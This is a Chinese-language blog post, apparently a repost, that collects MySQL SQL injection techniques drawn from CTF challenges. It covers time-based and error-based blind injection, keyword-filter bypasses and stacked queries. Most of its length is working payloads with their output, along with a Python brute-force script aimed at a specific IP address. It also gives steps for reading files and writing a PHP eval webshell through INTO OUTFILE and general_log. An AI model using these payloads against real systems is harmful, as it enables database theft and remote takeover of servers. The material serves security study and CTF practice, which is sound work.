SQL注入有趣姿勢總結


五種時間盲注姿勢

  • sleep()函數
  • benchmark函數
BENCHMARK(count,expr)

benchmark函數會重復計算expr表達式count次,所以我們可以盡可能多的增加計算的次數來增加時間延遲,如下:

可以看到通過重復計算延時了1.90s

  • 笛卡爾積盲注

注入姿勢

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row in set (2.07 sec) mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); +------+-----+ | user | pwd | +------+-----+ | 1 | 0 | +------+-----+ 1 row in set (2.08 sec) mysql> select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); Empty set (0.01 sec) 

利用and短路運算規則進行時間盲注。

  • GET_LOCK盲注

get_lock函數官方文檔中的介紹

可以看出文檔中寫的是我們如果已經開了一個session,對關鍵字進行了get_lock,那么再開另一個session再次對關鍵進行get_lock,就會延時我們指定的時間。

此盲注手法有一些限制,就是必須要同時開兩個SESSION進行注入

SESSION A

mysql> select get_lock('lihuaiqiu',1); +-------------------------+ | get_lock('lihuaiqiu',1) | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) 

SESSION B

mysql> select get_lock('lihuaiqiu',5); +-------------------------+ | get_lock('lihuaiqiu',5) | +-------------------------+ | 0 | +-------------------------+ 1 row in set (5.00 sec) mysql> select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2); Empty set (2.00 sec) mysql> select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2); Empty set (0.00 sec) 

同樣的盲注利用手法。

  • 正則DOS RLIKE注入

延時原理,利用SQL多次計算正則消耗計算資源產生延時效果,其實原理是和我們的benchmark注入差不多的。

利用手法

mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1); +------+ | flag | +------+ | 1 | +------+ 1 row in set (0.00 sec) mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1); Empty set (3.83 sec) 

報錯注入

正常的報錯注入網上一搜是一大把的,所以下面講的是幾個比較的姿勢。

  • mysql列名重復報錯

在mysql中,mysql列名重復會導致報錯,而我們可以通過name_const制造一個列.

Name_const函數用法

mysql> select name_const(version(),1);
+--------+
| 5.5.47 |
+--------+
|      1 |
+--------+
1 row in set (0.00 sec)

報錯用法:

mysql> select name_const(version(),1),name_const(version(),1);; +--------+--------+ | 5.5.47 | 5.5.47 | +--------+--------+ | 1 | 1 | +--------+--------+ 1 row in set (0.00 sec) ERROR: No query specified mysql> select * from (select name_const(version(),1),name_const(version(),1))x; ERROR 1060 (42S21): Duplicate column name '5.5.47' 

不過這個有很大的限制,version()所多應的值必須是常量,而我們所需要的database()user()都是變量,無法通過報錯得出,但是我們可以利用這個原理配合join函數得到列名。

用法如下:

mysql> select * from ctf_test a join ctf_test b; +------+--------------+------+--------------+ | user | pwd | user | pwd | +------+--------------+------+--------------+ | 1 | 0 | 1 | 0 | | 2 | flag{OK_t72} | 1 | 0 | | 1 | 0 | 2 | flag{OK_t72} | | 2 | flag{OK_t72} | 2 | flag{OK_t72} | +------+--------------+------+--------------+ 4 rows in set (0.00 sec) mysql> select * from (select * from ctf_test a join ctf_test b )x; ERROR 1060 (42S21): Duplicate column name 'user' mysql> select * from (select * from ctf_test a join ctf_test b using(user))x; ERROR 1060 (42S21): Duplicate column name 'pwd' mysql> select * from (select * from ctf_test a join ctf_test b using(user,pwd))x; +------+--------------+ | user | pwd | +------+--------------+ | 1 | 0 | | 2 | flag{OK_t72} | +------+--------------+ 2 rows in set (0.00 sec) 
  • xpath語法報錯與整數溢出報錯的區別

xpath報錯注入中,我們經常用的語法有updatexmlextractvalue函數,同樣是報錯注入,那么在使用中有什么區別?

例子:第12屆全國大學生信息安全競賽全宇宙最簡單的SQL

如果二者的區別認知不太清楚,很可能導致卡在這個點上

mysql> select * from ctf_test where user='1' and 1=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~test~' mysql> select * from ctf_test where user='1' and 1=0 and updatexml(1,concat(0x7e,(select database()),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~test~' mysql> select * from ctf_test where user='1' and 1=1 and pow(999,999); ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)' mysql> select * from ctf_test where user='1' and 1=0 and pow(999,999); Empty set (0.00 sec) 

從上面的實驗中可以得出如果在sql語句中有出現語法錯誤,則會直接報錯,不會被and短路運算所影響,如果是大數溢出報錯,則會遵循and短路運算規則。所以可以利用大數溢出這個問題結合前面的1=0的判斷條件進行布爾盲注。

  • 整數溢出報錯函數

pow(),cot(),exp()

mysql> select * from ctf_test where user='2' and 1=1 and cot(0); ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)' mysql> select * from ctf_test where user='2' and 1=1 and pow(988888,999999); ERROR 1690 (22003): DOUBLE value is out of range in 'pow(988888,999999)' mysql> select * from ctf_test where user='2' and 1=1 and exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)' 
  • 利用幾何函數進行報錯注入

幾何函數進行報錯注入,如polygon(),linestring()函數等,姿勢如下:

mysql> select * from ctf_test where user='1' and polygon(user); ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing mysql> select * from ctf_test where user='1' and linestring(user); ERROR 1367 (22007): Illegal non geometric '`test`.`ctf_test`.`user`' value found during parsing 
  • 對於insert,delete,update三種操作的注入

對於select類型操作其實是最常見,最容易上手的,但insert,delete,update三種操作的注入也很重要,下面是總結的這三種注入的操作姿勢。

報錯注入

insert報錯注入

insert into ctf_test(`user`,`pwd`) value('1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '','2'); 

update報錯注入

update ctf_test set user=1 where pwd='2' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ''; 

delete報錯注入

mysql> delete from ctf_test where user='1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and ''; ERROR 1105 (HY000): XPATH syntax error: '~test~' 

時間盲注

insert類型

mysql> insert into ctf_test(`user`,`pwd`) value('1' and sleep(3) and '','2'); Query OK, 1 row affected (3.00 sec) 

delete和update也都是一樣的,就不一 一列舉了。

另類注入姿勢以及對關鍵詞過濾的繞過

  • order by 盲注

題目例子:ISCC web5

當填入16進制的字符字典序小於flag中對應字母的字典序時,返回的是union插入的字符;當16進制的字符字典序大於flag中的對應字母的字典序時,返回的是flag字段。此種sql注入手法可以在小括號和列名被過濾時使用。

web5對應腳本:

import requests
url='http://39.100.83.188:8054/' headers={"User-Agent":"lihuaiqiu Union.373"} payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1" flag='' for i in range(20):  for j in range(33,127):  data={"username":payload.format((flag+chr(j)).encode('hex')),"password":'233'}  lihuaiqiu=requests.post(url,headers=headers,data=data)  if "union_373_Tom" in lihuaiqiu.text:  flag+=chr(j-1)  print flag  break 
  • MySQL數據庫的Innodb引擎的注入

在對應代碼中過濾了information關鍵字,無法使用information_schema.tables以及information_schema.columns進行查找表和列名。

此時可以通過innodb引擎進行注入,在Mysql 5.6以上的版本中,在系統Mysql庫中存在兩張與innodb相關的表:innodb_table_statsinnodb_index_stats

所以可以通過查找這兩個表取代information的作用

mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_table_stats where database_name=database(); +------+ | flag | +------+ | 1 | | flag | +------+ 2 rows in set, 1 warning (0.00 sec) mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database(); +----------------+ | flag | +----------------+ | 1 | | flag,flag,flag | +----------------+ 2 rows in set, 1 warning (0.00 sec) 
  • 無列名注入

看一下下面的payload的就會懂的,原理比較簡單

  • 異或注入

and,or ,|,&&,||等符號被過濾的情況下,可以采用異或注入達到注入的目的。

mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1; Empty set (0.00 sec) mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1; +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) 
  • 同等功能替換

空格繞過:%0a,/**/.

關鍵函數過濾:

substr等價於left ,mid,substring

group_concat等價於concat_ws

  • 逗號被過濾

針對逗號被過濾的情況有三種,第一種情況是union select 中的逗號被過濾掉,第二種情況是substr,mid這類截取字符函數中的逗號被過濾掉,第三種是limit 0,1中的逗號被過濾。

union select 逗號被過濾掉

利用join注入,payload如下

mysql> select * from ctf_test where user='2' union select * from (select 1)a join (select 2)b; +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | | 1 | 2 | +------+--------------+ 2 rows in set (0.00 sec) 

功能函數逗號被過濾

利用from...for...進行繞過

mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='r',1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) mysql> select * from ctf_test where user='2' and if(mid((select user()) from 1 for 1)='s',1,0); Empty set (0.00 sec) 

limit中逗號被過濾

利用limit..offset進行繞過

limit 9 offset 4表示從第十行開始返回4行,返回的是10,11,12,13

mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0; +------------+ | table_name | +------------+ | admin | +------------+ 1 row in set (0.00 sec) mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1; +------------+ | table_name | +------------+ | ctf_test | +------------+ 1 row in set (0.00 sec) 
  • 等於號被過濾

可以用like,regexp,between...and..,rlike進行代替,用法如下:

還有另外一種特殊的代替方法,利用locate,position,instr三種函數進行判斷

用法如下:

mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0); +------+--------------+ | user | pwd | +------+--------------+ | 2 | flag{OK_t72} | +------+--------------+ 1 row in set (0.00 sec) 
  • 堆疊注入

例子:強網杯2019隨便注

payload如下形式

查詢字段

';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;

查詢內容

;use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;
  • load_file&into outfile

這兩個函數在sql注入中是影響比較大的兩個函數,如果能成功利用,即可getshell和讀取任意文件,但作用很大,同樣限制條件也很多。

into outfile

1.首先要知道網站的絕對路徑(可從報錯或者phpinfo()中獲得)

2.擁有file權限

3.secure_file_priv限制。通過SHOW VARIABLES LIKE "secure_file_priv"查看信息

mysqld --secure_file_priv=null(不允許導入導出) mysqld --secure_file_priv=/tmp/(導入導出只允許在/tmp目錄下) mysql --secure_file_priv=(任意導入導出) 

into outfile有四種寫入文件的方式

通過union注入寫入文件

mysql> select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php'; Query OK, 2 rows affected, 1 warning (0.01 sec) 

通過FIELDS TERMINATED BY寫入文件

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e; Query OK, 1 row affected, 1 warning (0.01 sec) 

FIELDS TERMINATED BY為在輸出數據的字段中添加FIELDS TERMINATED BY的內容,如果字段數為1,則無法進行添加,也就是說這個的限制條件是起碼要有兩個字段的。

可以看到在一個字段的情況下無法添加我們的webshell。

通過LINES TERMINATED BY寫入文件

LINES TERMINATED BY為在每個記錄后都添加設定添加的內容,不受字段數的限制

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e; Query OK, 1 row affected, 1 warning (0.00 sec) 

LINES STARTING BY寫入shell

用法與LINES TERMINATED BY一樣,payload如下

mysql> select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e; Query OK, 1 row affected, 1 warning (0.01 sec) 

load_file

1.要求擁有file權限

2.知道文件所在絕對路徑

3.同樣受secure_file_priv限制

union注入進行load_file

效果如下:

mysql> select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php'); +----------------------+ | flag | +----------------------+ | 1 | | <?php phpinfo();?>1 | +----------------------+ 2 rows in set, 1 warning (0.01 sec) 

利用報錯注入進行load_file

測試:

mysql> select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~<?php phpinfo();?>1 ~' 

成功得到文件內容

利用時間盲注進行load_file

測試如下:

mysql> select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1); Empty set, 1 warning (3.00 sec) 

成功延時3s,可配合腳本得到文件內容。

利用load_file掃描文件是否存在

mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0); ERROR 1105 (HY000): XPATH syntax error: '~0~' mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0); ERROR 1105 (HY000): XPATH syntax error: '~1~' 

通過is_null函數的返回值來確定,如果是1的話代表文件不存在,如果是0的話文件存在。此方法可配合burp進行敏感文件的FUZZ。

另類寫讀文件

dumpfile 官方文檔如下:

危險變量導致getshell

在我們可連接上被攻擊數據庫時,我們可以通過select..into outfile..進行寫shell,但如果secure_file_priv為NULL且不可更改時,我們就無法通過這種形式去getshell。除了這種寫shell的方式還有一種通過日志去寫shell的方式,操作如下:

show variables like '%general%'; 查看配置信息 set global general_log=on 開啟general log模式 set global general_log_file='F:\\phpstudy\\www\\shell.php'; select '<?php eval($_POST['pwd']);?>'; 

最終shell.php為我們的webshell

組合拳思考

我們在常規的注入中,流程應該就是查找數據庫,查找表,查找字段,爆字段。

其實利用上面的方法,我們可以做操作來繞過條件過濾。

Sqli-lab less-1為例

首先通過polygon函數進行報錯

接着通過列重復來報錯

通過以上步驟可爆出id,username,password三個字段,最終爆出字段內容。

同理,order by盲注也比較有用,在列名以及小括號被過濾的情況下就比較適合。

參考資料

https://xz.aliyun.com/t/2460

http://www.zhutougg.com/2017/04/25/mysqlshu-ju-ku-de-innodbyin-qing-de-zhu-ru/

https://xz.aliyun.com/t/253


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM